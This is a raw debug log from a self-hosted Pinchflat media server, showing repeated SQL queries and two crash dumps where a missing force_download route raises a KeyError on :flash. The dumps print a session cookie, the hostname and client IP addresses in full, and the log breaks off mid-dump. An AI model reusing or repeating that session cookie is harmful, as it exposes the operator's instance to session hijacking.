m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 06:46:03.413 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=76.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.413 [debug] Invalid range request for media item: 4adf5ac9-b70c-4182-9100-86b50d6f5878 - serving full file 06:46:03.413 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:03.413 [debug] QUERY OK source="media_items" db=2.7ms idle=245.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 06:46:03.413 [info] Sent 200 in 5ms 06:46:03.413 [debug] QUERY OK source="settings" db=0.3ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.414 [debug] QUERY OK source="tasks" db=0.3ms idle=1.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 06:46:03.414 [debug] QUERY OK source="sources" db=0.5ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:03.414 [debug] QUERY OK source="settings" db=0.5ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.414 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.415 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=1.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 06:46:03.415 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.415 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.415 [info] Sent 200 in 7ms 06:46:03.416 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:03.416 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:03.413 [error] #PID<0.140587.0> running PinchflatWeb.Endpoint (connection #PID<0.140533.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141299/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33026}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140587.0>, params: %{}, path_info: ["sources", "31", "media", "141299", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/31/media/141299/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa8qa5-_TyVIYAAD2H"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33026}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33026}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicatio (truncated) 06:46:03.418 [info] Sent 200 in 8ms 06:46:04.843 [info] GET /media/5cd17bbf-5554-4eec-8a88-bd417a2d88fb/stream 06:46:04.844 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "5cd17bbf-5554-4eec-8a88-bd417a2d88fb", "v" => "1780357273"} Pipelines: [:maybe_basic_auth] 06:46:04.845 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=507.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["5cd17bbf-5554-4eec-8a88-bd417a2d88fb"] 06:46:04.846 [debug] Invalid range request for media item: 5cd17bbf-5554-4eec-8a88-bd417a2d88fb - serving full file 06:46:04.846 [info] Sent 200 in 2ms 06:46:05.821 [info] GET /sources/31/media/91114 06:46:05.821 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:46:05.822 [debug] QUERY OK source="media_items" db=0.2ms idle=1184.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 06:46:05.822 [debug] QUERY OK source="tasks" db=0.2ms idle=1184.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 06:46:05.823 [debug] QUERY OK source="sources" db=0.4ms idle=1184.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:05.823 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1185.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 06:46:05.824 [debug] QUERY OK source="settings" db=0.0ms idle=978.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:05.824 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:05.824 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:05.825 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:05.828 [info] Sent 200 in 6ms 06:46:05.886 [info] GET /sources/31/media/91114/force_download 06:46:05.886 [info] GET /sources/31/media/91114/edit 06:46:05.886 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 06:46:05.887 [debug] QUERY OK source="settings" db=0.4ms idle=62.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:05.887 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=62.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 06:46:05.888 [debug] QUERY OK source="settings" db=0.4ms idle=63.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:05.888 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:05.889 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=63.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:05.889 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=63.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:05.890 [debug] QUERY OK source="settings" db=0.3ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:05.892 [info] Sent 200 in 5ms 06:46:05.888 [error] #PID<0.140597.0> running PinchflatWeb.Endpoint (connection #PID<0.140517.0>, stream id 12) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/91114/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/91114/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32994}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140597.0>, params: %{}, path_info: ["sources", "31", "media", "91114", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/31/media/91114/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa8zpdkZPQVfMAAD3n"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32994}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/91114/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140517.0>, port: 80, scheme: "http", version: 